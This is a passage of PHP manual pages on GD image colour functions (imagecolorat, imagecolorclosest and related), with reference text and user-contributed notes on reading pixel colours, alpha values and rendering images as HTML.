            $pxlCor = ImageColorAt($imgHand,$c,$l);
            $pxlCorArr = ImageColorsForIndex($imgHand, $pxlCor);
            $htmlCor = DecHex($pxlCorArr["red"]&240) . DecHex($pxlCorArr["red"]&240) . DecHex($pxlCorArr["red"]&240);
            $grey[convert($htmlCor)/16]++;
        }
    }

    for ($i=0;$i<16;$i++){
        echo 'greyvalue '.$i.' : '.$grey[$i].'<br>';
    }
    echo '<br><br>Status: <b>'.status(count($grey)).'</b><br>';

    function convert($color){
        $hexdec=HexDec($color)&240;
        $decbin=DecBin($hexdec);
        $decbin = substr("00000000",0,8 - strlen($decbin)) . $decbin;
        $bindec = BinDec($decbin);
        return $bindec;
    }

    function status($range){
        if ($range >= 13) return "Heavy Clouds";
        elseif ($range > 9 && $range < 13) return "Cloudy";
        elseif ($range > 4 && $range <=9) return "Light cloudy";
        elseif ($range <= 4) return "Clear";
    }
?>
Richard 20-Sep-2008 11:49
With the following functions you can not only convert a 24 bit RGB integer to its corresponding red, green, and blue values, but also 32 bit RGBA integers to its corresponding red, green, blue, and ALPHA values.

Not only that, but I even threw in a function for converting those red, green, blue, and alpha values back into a 32 bit RGBA integer.

Sample usage:
<?php
$int = rgba2int(255, 255, 255, 16);
echo $int . "<br>";
$rgba = int2rgba($int);
print_r($rgba);
?>

What it should output:
285212671
Array
(
    [r] => 255
    [g] => 255
    [b] => 255
    [a] => 16
)

<?php
function rgba2int($r, $g, $b, $a=1) {
    /*
    This function builds a 32 bit integer from 4 values which must be 0-255 (8 bits)
    Example 32 bit integer: 00100000010001000000100000010000
    The first 8 bits define the alpha
    The next 8 bits define the blue
    The next 8 bits define the green
    The next 8 bits define the red
    */
    return ($a << 24) + ($b << 16) + ($g << 8) + $r;
}

function int2rgba($int) {
    $a = ($int >> 24) & 0xFF;
    $r = ($int >> 16) & 0xFF;
    $g = ($int >> 8) & 0xFF;
    $b = $int & 0xFF;
    return array('r'=>$r, 'g'=>$g, 'b'=>$b, 'a'=>$a);
}
?>
Scott Thompson (VBAssassin) 16-Apr-2008 05:02
I've found this function very useful when wanting to manipulate an existing image. An example would be to simply flip an image (source code here: http://www.coderprofile.com/source-code/372/ )

The principle i use a lot is to scan through an image pixel by pixel performing some kind of action on that pixel... and then saving the newly created pixel on to a new canvas ready to display to the browser.

The only problem i find is speed... so some kind of caching mechanism and dimensions limitation on images that are processed is recommended for high traffic use.

Kind regards,
Scott
p h o c i s [a-t] g m a i l c o m 20-Nov-2007 09:47
I believe GD has an issue with transparent mattes and alpha blending. It seems GD thinks that some images have a black matte transparency (meaning that the image is built on a black matte instead of transparent).

And while "alan hogan dot com slash contact" solution does deal with this, the results seem to be... glitchy. you get different results each time you do it, and they are not always the best.

So I made a different solution that, while it looks better on a white background and is consistent, still sort of mangles the image just a bit by merging all blended pixels with the transparent color.

// Load image
$img = imagecreatefrompng('my_broken_png.png');

// Make matte canvas
$matte = imagecreatetruecolor(16,16);
$trans_color = imagecolorallocatealpha($matte,254,254,254,0);
imagefill($matte, 0,0,$trans_color);

// Put the old image on the matte
imagecopy($matte,$img,0,0,0,0,16,16);

// Turn the matte color into full alpha (blended pixels will not be affected)
imagecolortransparent($matte,$trans_color);

// Display image
header('Content-Type: image/gif');
imagegif($matte);
alan hogan dot com slash contact 12-Nov-2007 02:44
As creamdog noted before, the alpha channel IS available from this function! (The manual should probably be updated to include this!)

$rgba = imagecolorat($im,$x,$y);
$alpha = ($rgba & 0x7F000000) >> 24;

$alpha will then contain the TRANSPARENCY (NOT OPACITY) level. So 127, the max, would be completely transparent, and 0 would be completely opaque.

Using this information, it is possible to write a dithering png-to-gif function like the completely working simple one below:

<?php
$im = imagecreatefrompng($pngRel);
        $transparentColor = imagecolorallocate($im, 0xfe, 0x3, 0xf4 );
        $height = imagesy($im);
        $width = imagesx($im);
        for($x = 0; $x < $width; $x++){
            for($y = 0; $y < $height; $y++) {
                $alpha = (imagecolorat($im,$x,$y) & 0x7F000000) >> 24;
                //DITHER!
                if ($alpha > 3 && (
                        $alpha >=127-3 ||
                        (rand(0,127))>=(127-$alpha)
                    )){
                    imagesetpixel($im,$x,$y,$transparentColor);
                }

            }
        }
        imagecolortransparent($im, $transparentColor);
        imagegif($im, $gifRel);//save
        header("Content-type: image/gif");
        readfile($gifRel); //pass thru to browser

?>
pocze_zsolt at hotmail dot com 15-Sep-2007 04:55
This is a histogram-stretching function to get a better contrast:

function contrast_stretch( $img ) {
    $x = imagesx($img);
    $y = imagesy($img);

    $min=255.0;
    $max=0.0;

    for($i=0; $i<$y; $i++) {
    for($j=0; $j<$x; $j++) {
        $pos = imagecolorat($img, $j, $i);
        $f = imagecolorsforindex($img, $pos);
        $gst = $f["red"]*0.15 + $f["green"]*0.5 + $f["blue"]*0.35;
        if($gst>$max) $max=$gst;
        if($gst<$min) $min=$gst;
    }
    }

    $distance = $max-$min;

    for($i=0; $i<$y; $i++) {
    for($j=0; $j<$x; $j++) {
        $pos = imagecolorat($img, $j, $i);
        $f = imagecolorsforindex($img, $pos);

        $red = 255*($f["red"]-$min)/$distance;
        $green = 255*($f["green"]-$min)/$distance;
        $blue = 255*($f["blue"]-$min)/$distance;

        if($red<0) $red = 0.0;
        elseif($red>255) $red=255.0;

        if($green<0) $green = 0.0;
        elseif($green>255) $green=255.0;

        if($blue<0) $blue = 0.0;
        elseif($blue>255) $blue=255.0;

        $color = imagecolorresolve($img, $red, $green, $blue);
        imagesetpixel($img, $j, $i, $color);
    }
    }
}
markignore.atsymbol.ignorepnod.co.uk 31-Jul-2007 04:58
The example given for returning the RGB values from the function (using & 0xFF) didn't work for me for PNG or GIF images. If you have this problem, try the following (which works):

<?php
  $pixelrgb = imagecolorat($source,$x,$y);
  $cols = imagecolorsforindex($source, $pixelrgb);
  $r = $cols['red'];
  $g = $cols['green'];
  $b = $cols['blue'];
?>
Gromitt 05-Mar-2007 08:17
imagecolorat() will display a Notice if you attempt to query a pixel which is out of bounds, and will return false :

<?php

$img = imagecreatefromjpeg('test.jpg');
var_dump(imagecolorat($img, -1, 0));

?>

Output :

Notice: imagecolorat(): -1,0 is out of bounds in /test.php on line 4
bool(false)
29-Nov-2006 04:45
//test if a Jpeg is greyscale or color

function iscolor($pic_adress){

// A Pixel is Greyscale if the r = B = G
    //example: colorpixel R=250, G=140 , B=19  Greyscale Pixel R=110, G= 110, B=110

    //we do a check of 10 Pixels to find out if the Picture is Greyscale
    $tocheck = 10;

    $iscolor=false;

    $temp= getimagesize($pic_adress);

    $x= $temp[0];
    $y= $temp[1];

    $im= imagecreatefromjpeg($pic_adress);

    //now check out the Pixels
    for( $i = 0 ; $i< $tocheck && !$iscolor; $i++){

    // Here a Random Pixel is chosen
    $color = imagecolorat($im,rand(0,$x),rand(0,$y));

    //Problem color is an int
    //The Hex view on the number is RRGGBB
    // Here we get the blue part of the Pixel
    $blue = 0x0000ff & $color;

    $green = 0x00ff00 & $color;
   //The Green part we have to push 8 bits to the right to get an Compareable result
    $green = $green >> 8;
    $red =0xff0000 & $color;
    //red part needs to be pushed 16 bit
    $red = $red >> 16;
    // if one of the Pixels isnt Greyscale it breaks an you know this is a color picture
    if( $red!= $green || $green!= $blue){
        $iscolor = true;
        break;
        }
    }
    return $iscolor;

}
Luciano Ropero 27-Oct-2006 11:31
I made a function that calculates the average color of a given image resource and returns it in "#rrggbb" format (hex):

function average($img) {
    $w = imagesx($img);
    $h = imagesy($img);
    $r = $g = $b = 0;
    for($y = 0; $y < $h; $y++) {
        for($x = 0; $x < $w; $x++) {
            $rgb = imagecolorat($img, $x, $y);
            $r += $rgb >> 16;
            $g += $rgb >> 8 & 255;
            $b += $rgb & 255;
        }
    }
    $pxls = $w * $h;
    $r = dechex(round($r / $pxls));
    $g = dechex(round($g / $pxls));
    $b = dechex(round($b / $pxls));
    if(strlen($r) < 2) {
        $r = 0 . $r;
    }
    if(strlen($g) < 2) {
        $g = 0 . $g;
    }
    if(strlen($b) < 2) {
        $b = 0 . $b;
    }
    return "#" . $r . $g . $b;
}

Although, I've noticed that you can also get a fairly good average color generating a 1px by 1px copy with imagecopyresampled (the pixel generated is colored with the average color).
NuclearFlux 17-Oct-2006 09:01
code part from robert:
   $output .= '<div style="position:relative;float:left;width:' .
   $div_width . 'px;height:1px;background-color:' .
   hexcolor((($div_width > 1)?
   $previous_color:$current_color)) . '"><img src="bogus.gif"
   alt="" width="1" height="1" /></div>';

i've optimized this part so that no image is needed:

   $output .= '<div
   style="position:relative;float:left;max-width:1px>;
   max-height:1px;background-color:'.
   hexcolor((($div_width > 1)?
   $previous_color:$current_color)).'">&nbsp;</div>';

//sorry for my english, i'm a german xD
morten at nilsen dot com 11-Sep-2006 08:17
A better way of encoding a color value to #rrggbb:

<?php
  printf('#%06x',$c);
?>

or

<?php
  $rgb = sprintf('#%06x',$c);
?>
creamdog 20-Apr-2006 04:48
If you look in the gd library for C in gd.h you have the following defined for truecolor images.

#define gdTrueColorGetAlpha(c) (((c) & 0x7F000000) >> 24)
#define gdTrueColorGetRed(c) (((c) & 0xFF0000) >> 16)
#define gdTrueColorGetGreen(c) (((c) & 0x00FF00) >> 8)
#define gdTrueColorGetBlue(c) ((c) & 0x0000FF)

So in php you could just do it as so:

$rgba = imagecolorat($im,$x,$y);
$alpha = ($rgba & 0x7F000000) >> 24;
$red = ($rgba & 0xFF0000) >> 16;
$green = ($rgba & 0x00FF00) >> 8;
$blue = ($rgba & 0x0000FF);

And there you have what you would need if you have a truecolor image with an alpha channel.
robert at future-vision dot nl 15-Dec-2005 04:53
Look mom, no tables :)

I made some changes to the code from 'hazard AT krankteil DOTTILLYDO de' so the function would output a div that displays the image.

As for the size of the outputted file I can say the original png file was lots smaller, but maybe its a nice feature for small buttons or such.

The way you can use it is the same as the code from 'hazard AT krankteil DOTTILLYDO de'.

litle note: each div contains a bogus image. When this is not in IE will screw up the output.

<?
    function hexcolor($c) {
        $r = ($c >> 16) & 0xFF;
        $g = ($c >> 8) & 0xFF;
        $b = $c & 0xFF;
        return '#'.str_pad(dechex($r), 2, '0', STR_PAD_LEFT).str_pad(dechex($g), 2, '0', STR_PAD_LEFT).str_pad(dechex($b), 2, '0', STR_PAD_LEFT);
    }

    function png2div($filename) {

        $img = imagecreatefrompng($filename);
        $width = imagesx($img);
        $height = imagesy($img);
        $div_width = 1;
        $previous_color = 0;

        $output = '<div style="position:relative;width:' . $width . 'px;height:'. $height .'px;">';

        for($y = 0;$y < $height;++$y){

            for($x = 0;$x < $width;++$x){

                $current_color = ImageColorAt($img, $x, $y);

                if($current_color == $previous_color && $x < $width-1){
                    ++$div_width;
                }
                else{
                    $output .= '<div style="position:relative;float:left;width:' . $div_width . 'px;height:1px;background-color:' . hexcolor((($div_width > 1)? $previous_color:$current_color)) . '"><img src="bogus.gif" alt="" width="1" height="1" /></div>';
                    $previous_color = $current_color;
                    $div_width = 1;
                }
            }
            ob_flush();
        }

        $output .= '</div>';

        return $output;

    }

?>
hazard AT krankteil DOTTILLYDO de 12-Nov-2005 12:23
I saw this png to table code.. and i had written one before =)

My code does nearly the same as the one posted.. but it will compress the table with the help of colspan :)

http://hazard.krankteil.de/stuff/pngtable/imgtest.php

Code:
http://hazard.krankteil.de/stuff/pngtable/imgtest.phps
http://hazard.krankteil.de/stuff/pngtable/image.phps

It's senseless? Well maybe but kinda cool :) Try 5 or 10 as second argument for pngtable() =)
T. Dekker 27-Oct-2005 12:40
In GD 2.x there is support for true color images complete with an alpha channel. GD 2.x has a 7-bit (0-127) alpha channel.

While most people are used to an 8-bit (0-255) alpha channel, it is actually quite handy that GD's is 7-bit (0-127). Each pixel is represented by a 32-bit signed integer, with the four 8-bit bytes arranged like this:

 High Byte <--> Low Byte
{Alpha Channel} {Red} {Green} {Blue}

For a signed integer, the leftmost bit, or the highest bit, is used to indicate whether the value is negative, thus leaving only 31 bits of actual information. PHP's default integer value is a signed long into which we can store a single GD palette entry. Whether that integer is positive or negative tells us whether antialiasing is enabled for that palette entry.
swimgod 02-Sep-2005 01:36
this function i made will compare two($start-$finish) images and change the pixels with diffrent colors in the "finish" image
then displays them both next to each other in one image

another feature is "display" which will echo text
"50% on
50% off"-% count(if the number is lower then 1 it will go into one decamil count

or type "2" will be
"10023 on
3000 off"-pixel count

one last feature is "color"
which you define in an array
$color = array("r" => "244","g" => "122","b" => "100");

to finish up the discrpition im gonna show this "map" of my function
compare($start, $finish[, $color[, $display[, $type]]])
image-url($start) - base image URL
image-url($finish) - compare image URL
array($color) - array with keys "r", "g", "b" r being RED 0-255 g being GREEN 0-255 b being BLUE 0-255
bool($display) - 1 OR TRUE will return text stats from compare
int($type) - 1 OR 0 | 1 being % results | 0 being pixel results

<?
function compare($start, $finish, $color, $display, $type){

$im = ImageCreateFrompng($start);
$im2 = ImageCreateFrompng($finish);
$img['x'] = imagesx($im);
$img['y'] = imagesy($im);
$img2['x'] = imagesx($im2);
$img2['y'] = imagesy($im2);
if(($img['x'] == $img2['x']) && ($img['y'] == $img2['y'])){

//get and set image hieght and width
$i = array("width" =>  $img['x']*2, "height" => $img['y']);
$im3 = imagecreatetruecolor($i['width'], $i['height']);
if($color){
$color = imagecolorallocate($im3, $color['r'], $color['g'], $color['b']);
}else{

$color = imagecolorallocate($im3, 255, 255, 255);
}
for($y = $img['y'];$y > 0; $y--){
for($x = $img['x'];$x > 0; $x--){
if(ImageColorAt($im, $x, $y) == ImageColorAt($im2, $x, $y)){
$on = $on+1;
$rgb = ImageColorAt($im, $x, $y);
Imagesetpixel($im3, $img['x']+$x, $y, $rgb);
}else{
$off = $off+1;
imagesetpixel($im3, $img['x']+$x, $y , $color);
}
}
}
if($display == true){
if(($type == "1") || (!$type)){
$off2 = (round(($off / $on)*10));
if(($off2 == 0) && ($off > 0)){
$off2 = round(($off / $on)*10)*10;
}
$on2 = (100-$off2);
$off2 .="%";
$on2 .="%";
}else{
$off2 = $off;
$on2 = $on;
}
echo $off2 ." off<br>". $on2 ." on";
}else{
imagecopy($im3, $im, 0, 0, 0, 0, $img['x'], $img['y']);
@header("Content-type: image/png");
imagepng($im3);
imagedestroy($im3);
}
imagedestroy($im);
imagedestroy($im2);
return TRUE;
}else{
return False;
}
}
?>
Super Moi 28-Aug-2005 08:31
Here is a contribution for change tint.

function colorize($path_image, $red, $green, $blue)
{
      $im = imagecreatefrompng($path_image);
    $pixel = array();

    $n_im = imagecreatetruecolor(imagesx($im),imagesy($im));
    $fond = imagecolorallocatealpha($n_im, 255, 255, 255, 0);
    imagefill($n_im, 0, 0, $fond);

    for($y=0;$y<imagesy($n_im);$y++)
    {
        for($x=0;$x<imagesx($n_im);$x++)
        {
            $rgb = imagecolorat($im, $x, $y);
            $pixel = imagecolorsforindex($im, $rgb);

            $r = min(round($red*$pixel['red']/169),255);
            $g = min(round($green*$pixel['green']/169),255);
            $b = min(round($blue*$pixel['blue']/169),255);
            $a = $pixel['alpha'];
            //echo('red : '.$pixel['red'].' => '.$r.', green : '.$pixel['green'].' => '.$g.', blue : '.$pixel['blue'].' => '.$b.', alpha : '.$pixel['alpha'].' => '.$a.'<br>');

            $pixelcolor = imagecolorallocatealpha($n_im, $r, $g, $b, $a);

            imagealphablending($n_im, TRUE);
            imagesetpixel($n_im, $x, $y, $pixelcolor);
        }
    }

       imagepng($n_im,'test.png');
       imagedestroy($n_im);
}
bpgordon at gmail dot com 23-May-2005 02:55
(the previous post was mistyped; please delete)

The following code converts a png image to an html table made up of colored 1x1 cells. Put the path (relative to the location of the script) to the image to be converted in the query, like this: http://yoursite.com/conv.php?image.png
Remember that you can only use a remote path if remote fopen is enabled.

<?php
print "<table border=0 cellpadding=0 cellspacing=0><tr>";
$image = imagecreatefrompng($_ENV["QUERY_STRING"]);
$xdim = imagesx($image);
$ydim = imagesy($image);
for ($x = 1; $x <= $xdim-1; $x++) {
for ($y = 1; $y <= $ydim-1; $y++) {
$rgb = imagecolorat($image, $x, $y);
$r = ($rgb >> 16) & 0xFF;
$g = ($rgb >> 8) & 0xFF;
$b = $rgb & 0xFF;
print "<td width=\"1\" height=\"1\" style=\"background-color: rgb($r, $g, $b);\"></td>";
}
print "</tr><tr>";
}
print "</tr></table>";
?>
bpgordon at gmail dot com 22-May-2005 10:19
The following code converts a png image to an html table made up of colored 1x1 cells. Put the path (relative to the location of the script) to the image to be converted in the query, like this: http://yoursite.com/conv.php?image.png
Remember that you can only use a remote path if remote fopen is enabled.

<?php
print "&lt;table border=0 cellpadding=0 cellspacing=0&gt;&lt;tr&gt;";
$image = imagecreatefrompng($_ENV["QUERY_STRING"]);
$xdim = imagesx($image);
$ydim = imagesy($image);
for ($x = 1; $x &lt;= $xdim-1; $x++) {
for ($y = 1; $y &lt;= $ydim-1; $y++) {
$rgb = imagecolorat($image, $x, $y);
$r = ($rgb &gt;&gt; 16) & 0xFF;
$g = ($rgb &gt;&gt; 8) & 0xFF;
$b = $rgb & 0xFF;
print "&lt;td width=\"1\" height=\"1\" style=\"background-color: rgb($r, $g, $b);\"&gt;&lt;/td&gt;";
}
print "&lt;/tr&gt;&lt;tr&gt;";
}
print "&lt;/tr&gt;&lt;/table&gt;";
?>
sys NO SPAM coder at gmail dot NOSPAM dot com 26-Apr-2005 03:40
Just for fun: another snippet for drawing images using html only X)

<html>
<head>
<style>
<!--
body {
font-family: courier new, courier;
font-size: 7pt;
background: #000000;
color: #000000;
}
-->
</style>
</head>
<body>
<font color="#000000">
<?php

$im = ImageCreateFromPng($_GET['img']);

$lastcolor=0;
for($y=0;$y<imagesy($im);$y++)
{
  for($x=0;$x<imagesx($im);$x++)
  {
    $pixel = ImageColorAt($im, $x, $y);
    if($lastcolor != $pixel)
    {
      printf('</font><font color="#%06x">', $pixel);
      $lastcolor = $pixel;
    }
    echo "*";
  }
  echo "<br />";
}

?>
</font>
</body>
</html>
18-Jan-2005 02:08
Optimal:
<?php
$rgb = imagecolorat($im, $x, $y);
$r = ($rgb >> 16);
$g = ($rgb >> 8) & 255;
$b = $rgb & 255;
?>
As you see, you can also use decimal values (faster).
jed at jed dot bz 19-Oct-2004 02:14
In my various play stages with photomosaics I ended up writing this function that works with GD 2. The conversion from RGB to HSL is straightforward and there are a number of papers on it on our beloved Internet; however, this function simply finds the lightness value for a pixel and works exactly the same as imagecolorat().

<?php

/* Computes the lightness of a pixel. Lightness is used in HSL notation, as well
 * as in various operations on images. This function returns a normalized value
 * for lightness between 0 and 1, inclusive (0.0 being black, 1.0 being white).
 *
 * double imagelightnessat(resource img, int x, int y)
 *        img         An open image resource to operate on (true color or palette)
 *        x, y        The coordinates of the pixel to work on
 *
 * by Jed Smith <?php $u = "jed"; $d = "bz"; printf("<%s@%s.%s>", $u, $u, $d) ?>
 */
function imagelightnessat($img, $x, $y)
{
    if(!is_resource($img))
    {
        trigger_error("imagelightnessat(): supplied argument is not a valid "
            . "Image resource", E_USER_WARNING);
        return 0.0;
    }
    $c = @imagecolorat($img, $x, $y);
    if($c === false) return false;
    if(imageistruecolor($img))
    {
        $red = ($c >> 16) & 0xFF;
        $green = ($c >> 8) & 0xFF;
        $blue = $c & 0xFF;
    }
    else
    {
        $i = imagecolorsforindex($img, $c);
        $red = $i['red'];
        $green = $i['green'];
        $blue = $i['blue'];
    }
    $m = min($red, $green, $blue);
    $n = max($red, $green, $blue);
    /* Because RGB isn't normalized in GD, we divide by 510 here.
     *  Lightness = (Max(RGB) + Min(RGB)) / 2
     * But that's assuming red, green, and blue are 0 through 1 inclusive.
     * Red, green, and blue are actually 0-255 (255 + 255 = 510).
     */
    $lightness = (double)(($m + $n) / 510.0);
    return($lightness);
}

?>
mumig at poczta dot onet dot pl 27-Feb-2004 08:13
imagecolorat() works differently for png's with true color and for paletted png's - for true color it returns value of color, for paletted it returns index number and you have to use  imagecolorsforindex() to get rgb color value.
geat AT zoom DOT co DOT uk 10-Jun-2003 04:35
The HTML image renderer didn't work for me for some reason, but here's a version that does...

echo '<table border="0" cellspacing="0" cellpadding="0">';
$im = ImageCreateFromJPEG("IMAGE NAME");
$width = imagesx($im);
$height = imagesy($im);
for ($cy=0;$cy<$height;$cy++) {
  echo '<tr>';
  for ($cx=0;$cx<$width;$cx++) {
    $rgb = ImageColorAt($im, $cx, $cy);
    $col = imagecolorsforindex($im, $rgb);
    printf('<td width="2" height="2" bgcolor=#%02x%02x%02x></td>', $col["red"], $col["green"], $col["blue"]);
  }
echo '</tr>';
}
echo '</table>';
28-May-2003 08:54
Just for fun, here is a little snippet that "paints" a image in html only. Try it out with very small images, as this is a real browser-killer. mozilla > 120mb ram, ie > 100mb with a 300x200 image :-)

$file = "image.png";
$im = imagecreatefrompng($file);
$size_arr = getimagesize($file);

echo "<table width=".$size_arr[0]." height=".$size_arr[1]." cellpadding=0 cellspacing=0 border=0>";
for ($y=0; $y<$size_arr[1]; $y++) {
    echo "<tr>";
    for ($x=0; $x<$size_arr[0]; $x++) {
        $rgb = ImageColorAt($im, $x, $y);
        printf("<td width=1 bgcolor=%06x><img width=1></td>", $rgb);
    }
    echo "</tr>";
}
echo "</table>";
lachy at kennedia dot com 20-Jan-2003 06:25
It seems that if you don not have GD 2.0.1+ then the alpha value will not be available.
ceresATdivxmaniaDOTit 02-Jan-2003 03:46
To get RGB values of a pixel in a truecolor image:

<?
$image=imageCreateFromJPEG('image.jpg');
$x = 10;
$y = 15;
$colorindex = imagecolorat($image,$x,$y);
$colorrgb = imagecolorsforindex($image,$colorindex);

echo "RGB values of the pixel at position $x - $y are: $colorrgb['red'] $colorrgb['green'] $colorrgb['blue'] \n Apha value is: $colorrgb['alpha']";
?>
pete at spamisbad_holidian dot com 05-Jul-2002 12:36
If you have a truecolor image and absolutely need to get the actual color of a pixel, it seems like you could create a 16x16 indexed color image from a part of the True Color image containing the pixel(s) in question. Then you should be able to guarantee that the indexed sample has the indentical colors to the True Color image. you can then use this function to get the color index of a pixel in the sample.

Obviously, this would be an intensive way to get pixel colors, especially for a large image, but as far as I can tell, it's one of the very few ways to do it right now.
imagecolorallocatealpha
imagecolorclosest
GD and Image Functions


Get the index of the closest color to the specified color

imagecolorat
imagecolorclosestalpha
GD and Image Functions
PHP Manual

imagecolorclosest

(PHP 4, PHP 5)

imagecolorclosest — Get the index of the closest color to the specified color

Description

int imagecolorclosest ( resource $image , int $red , int $green , int $blue )

Returns the index of the color in the palette of the image which is "closest" to the specified RGB value.

The "distance" between the desired color and each color in the palette is calculated as if the RGB values represented points in three-dimensional space.

If you created the image from a file, only colors used in the image are resolved. Colors present only in the palette are not resolved.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

red

Value of red component.

green

Value of green component.

blue

Value of blue component.

The colors parameters are integers between 0 and 255 or hexadecimals between 0x00 and 0xFF.

Return Values

Returns the index of the closest color, in the palette of the image, to the specified one

Examples

Example #1 Search for a set of colors in an image

<?php
// Start with an image and convert it to a palette-based image
$im = imagecreatefrompng('figures/imagecolorclosest.png');
imagetruecolortopalette($im, false, 255);

// Search colors (RGB)
$colors = array(
    array(254, 145, 154),
    array(153, 145, 188),
    array(153, 90, 145),
    array(255, 137, 92)
);

// Loop through each search and find the closest color in the palette.
// Return the search number, the search RGB and the converted RGB match
foreach($colors as $id => $rgb)
{
    $result = imagecolorclosest($im, $rgb[0], $rgb[1], $rgb[2]);
    $result = imagecolorsforindex($im, $result);
    $result = "({$result['red']}, {$result['green']}, {$result['blue']})";

    echo "#$id: Search ($rgb[0], $rgb[1], $rgb[2]); Closest match: $result.\n";
}

imagedestroy($im);
?>

The above example will output something similar to:

#0: Search (254, 145, 154); Closest match: (252, 150, 148).
#1: Search (153, 145, 188); Closest match: (148, 150, 196).
#2: Search (153, 90, 145); Closest match: (148, 90, 156).
#3: Search (255, 137, 92); Closest match: (252, 150, 92).

See Also

  • imagecolorexact() - Get the index of the specified color
  • imagecolorclosestalpha() - Get the index of the closest color to the specified color + alpha
  • imagecolorclosesthwb() - Get the index of the color which has the hue, white and blackness

User Contributed Notes

info at codeworx dot ch 09-Nov-2011 02:21
Here is a function that compares two HEX colors for similarity. This can be useful if you want to detect colors that are not different enough to see for the naked eye. It returns a bool: TRUE if the colors are similar to each other (within tolerance) or FALSE if they are different enough.
I tested a few colors and came up with a tolerance of 35 (rgb value - should be between 0 and 255) but you can change that tolerance by passing a third parameter to the function.

<?php
function compareColors ($col1, $col2, $tolerance=35) {
    $col1Rgb = array(
        "r" => hexdec(substr($col1, 0, 2)),
        "g" => hexdec(substr($col1, 2, 2)),
        "b" => hexdec(substr($col1, 4, 2))
    );
    $col2Rgb = array(
        "r" => hexdec(substr($col2, 0, 2)),
        "g" => hexdec(substr($col2, 2, 2)),
        "b" => hexdec(substr($col2, 4, 2))
    );
    return ($col1Rgb['r'] >= $col2Rgb['r'] - $tolerance && $col1Rgb['r'] <= $col2Rgb['r'] + $tolerance) && ($col1Rgb['g'] >= $col2Rgb['g'] - $tolerance && $col1Rgb['g'] <= $col2Rgb['g'] + $tolerance) && ($col1Rgb['b'] >= $col2Rgb['b'] - $tolerance && $col1Rgb['b'] <= $col2Rgb['b'] + $tolerance);
}
?>
MagicalTux at FF dot st 28-Jun-2005 06:22
A way to get each time an answer :

<?php
function imagegetcolor($im, $r, $g, $b) {
        $c=imagecolorexact($im, $r, $g, $b);
        if ($c!=-1) return $c;
        $c=imagecolorallocate($im, $r, $g, $b);
        if ($c!=-1) return $c;
        return imagecolorclosest($im, $r, $g, $b);
}
?>

If the *exact* color is found in the image, it will be returned. If we don't have the exact color, we try to allocate it. If we can't allocate it, we return the closest color in the image.
Vikrant Korde <vakorde at hotmail dot com> 11-Oct-2003 08:10
This functuion is useful when you are dealing with previously present images like .png, .jpg, etc. You can use this function for writing a text on the image.

For me the function imagecolorallocate() was returning the -1 value. after lot of RnD and site search i found a function use of imagecolorclosest(). This solved my problem of writing the text on the image with customised color.

Actually previously it was writing on the image but the color was not distinct. It was using the same color as of that background image.

The following code segment was fine with me.

header ("Content-type: image/jpeg");
$im = imagecreatefromjpeg("BlankButton.jpg");
$white = imageColorClosest($im, 255,255,255);
// this is for TTF fonts
imagettftext ($im, 20, 0, 16, 30, $white, "/usr/X11R6/lib/X11/fonts/TTF/luximb.ttf", "Vikrant");

//this is for notmal font
imagestring($im, 4, 0,0,"Korde", $white);
imagejpeg($im,"",150);
imagedestroy ($im);
imagecolorat
imagecolorclosestalpha
GD and Image Functions


Get the index of the closest color to the specified color + alpha

imagecolorclosest
imagecolorclosesthwb
GD and Image Functions
PHP Manual

imagecolorclosestalpha

(PHP 4 >= 4.0.6, PHP 5)

imagecolorclosestalpha — Get the index of the closest color to the specified color + alpha

Description

int imagecolorclosestalpha ( resource $image , int $red , int $green , int $blue , int $alpha )

Returns the index of the color in the palette of the image which is "closest" to the specified RGB value and alpha level.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

red

Value of red component.

green

Value of green component.

blue

Value of blue component.

alpha

A value between 0 and 127. 0 indicates completely opaque while 127 indicates completely transparent.

The colors parameters are integers between 0 and 255 or hexadecimals between 0x00 and 0xFF.

Return Values

Returns the index of the closest color in the palette.

Examples

Example #1 Search for a set of colors in an image

<?php
// Start with an image and convert it to a palette-based image
$im = imagecreatefrompng('figures/imagecolorclosest.png');
imagetruecolortopalette($im, false, 255);

// Search colors (RGB)
$colors = array(
    array(254, 145, 154, 50),
    array(153, 145, 188, 127),
    array(153, 90, 145, 0),
    array(255, 137, 92, 84)
);

// Loop through each search and find the closest color in the palette.
// Return the search number, the search RGB and the converted RGB match
foreach($colors as $id => $rgb)
{
    $result = imagecolorclosestalpha($im, $rgb[0], $rgb[1], $rgb[2], $rgb[3]);
    $result = imagecolorsforindex($im, $result);
    $result = "({$result['red']}, {$result['green']}, {$result['blue']}, {$result['alpha']})";

    echo "#$id: Search ($rgb[0], $rgb[1], $rgb[2], $rgb[3]); Closest match: $result.\n";
}

imagedestroy($im);
?>

The above example will output something similar to:

#0: Search (254, 145, 154, 50); Closest match: (252, 150, 148, 0).
#1: Search (153, 145, 188, 127); Closest match: (148, 150, 196, 0).
#2: Search (153, 90, 145, 0); Closest match: (148, 90, 156, 0).
#3: Search (255, 137, 92, 84); Closest match: (252, 150, 92, 0).

Notes

Note: This function requires GD 2.0.1 or later (2.0.28 or later is recommended).

See Also

  • imagecolorexactalpha() - Get the index of the specified color + alpha
  • imagecolorclosest() - Get the index of the closest color to the specified color
  • imagecolorclosesthwb() - Get the index of the color which has the hue, white and blackness

User Contributed Notes

There are no user contributed notes for this page.
imagecolorclosest
imagecolorclosesthwb
GD and Image Functions


Get the index of the color which has the hue, white and blackness

imagecolorclosestalpha
imagecolordeallocate
GD and Image Functions
PHP Manual

imagecolorclosesthwb

(PHP 4 >= 4.0.1, PHP 5)

imagecolorclosesthwb — Get the index of the color which has the hue, white and blackness

Description

int imagecolorclosesthwb ( resource $image , int $red , int $green , int $blue )

Get the index of the color which has the hue, white and blackness nearest the given color.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

red

Value of red component.

green

Value of green component.

blue

Value of blue component.

Return Values

Returns an integer with the index of the color which has the hue, white and blackness nearest the given color.

Examples

Example #1 Example of using imagecolorclosesthwb()

<?php
$im = imagecreatefromgif('php.gif');

echo 'HWB: ' . imagecolorclosesthwb($im, 116, 115, 152);

imagedestroy($im);
?>

The above example will output something similar to:

HWB: 33

Changelog

Version | Description
5.3.0 | This function is now available on Windows

See Also

  • imagecolorclosest() - Get the index of the closest color to the specified color

User Contributed Notes

Xong 22-Jun-2009 03:56
I have written a function which uses the deltaE-function of the CMC.
It returns much better results than imagecolorclosestHWB() or imageColorClosest().

A test-script is online on http://www.fuhrpark-software.de/spielwiese/color.php?color=ffff00

<?php
/*
 * Returns the index of the palette-color which is most similar
 * to $givenColor.
